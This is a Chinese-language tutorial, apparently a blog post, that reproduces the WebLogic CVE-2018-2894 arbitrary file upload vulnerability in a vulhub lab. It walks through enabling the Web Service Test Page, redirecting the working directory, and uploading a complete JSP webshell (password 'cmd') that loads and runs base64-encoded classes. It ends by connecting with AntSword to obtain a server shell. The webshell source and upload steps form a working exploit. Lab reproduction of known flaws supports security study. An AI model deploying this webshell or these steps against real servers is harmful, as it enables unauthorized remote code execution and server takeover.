Weblogic CVE-2018-2894 任意文件上传漏洞

CVE-2018-2894

    • 漏洞简介
    • 环境搭建
    • 漏洞复现

漏洞简介

  • Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 “生产模式” 下默认不开启,所以该漏洞有一定限制;利用该漏洞可以上传任意jsp文件,进而获取服务器权限Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do;(ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证)

受影响的Weblogic版本

10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

环境搭建

  • 环境搭建比较繁琐,也不再过多赘述了哈,如有还不太会的小伙伴可以看这里哟 —> vulhub环境搭建

漏洞复现

  • 访问漏洞所在靶场IP+端口,页面返回404说明环境搭建成功;

Weblogic CVE-2018-2894 任意文件上传漏洞_第1张图片

  • 访问your-IP:7001/console,页面跳转到登录页面;

  • 执行docker-compose logs | grep password命令获取登录用户和密码;(注:该命令需在漏洞文件目录执行)

Weblogic CVE-2018-2894 任意文件上传漏洞_第2张图片
这里使用了ssh远程连接Kali (漏洞靶机),目的是为了更加方便去执行命令,不需要虚机和宿主机来回切换;

  • 成功登录进去,点击base_domain可看到设置页面,然后点击高级

Weblogic CVE-2018-2894 任意文件上传漏洞_第3张图片

  • 接着勾选启用Web服务测试页

Weblogic CVE-2018-2894 任意文件上传漏洞_第4张图片

  • 访问your-IP:7001/ws_utc/config.do页面,修改当前工作目录为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css访问该目录无需权限,修改后提交;

Weblogic CVE-2018-2894 任意文件上传漏洞_第5张图片

  • 一句话jsp文件,密码为cmd;
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("cmd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
  • 点击安全 -> 添加,名字和密码可以随意设置,上传jsp木马文件;

Weblogic CVE-2018-2894 任意文件上传漏洞_第6张图片

  • 抓包提交获取时间戳;

Weblogic CVE-2018-2894 任意文件上传漏洞_第7张图片

  • 访问your-IP:7001/ws_utc/css/config/keystore/1677219244820(时间戳)_1.jsp(文件名),页面没报404说明成功;

Weblogic CVE-2018-2894 任意文件上传漏洞_第8张图片

  • 蚁剑连接,密码为cmd,成功拿到shell;

Weblogic CVE-2018-2894 任意文件上传漏洞_第9张图片
以上内容就是Weblogic Web Service Test Page中任意文件上传漏洞复现过程,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟!

你可能感兴趣的:(web安全,服务器)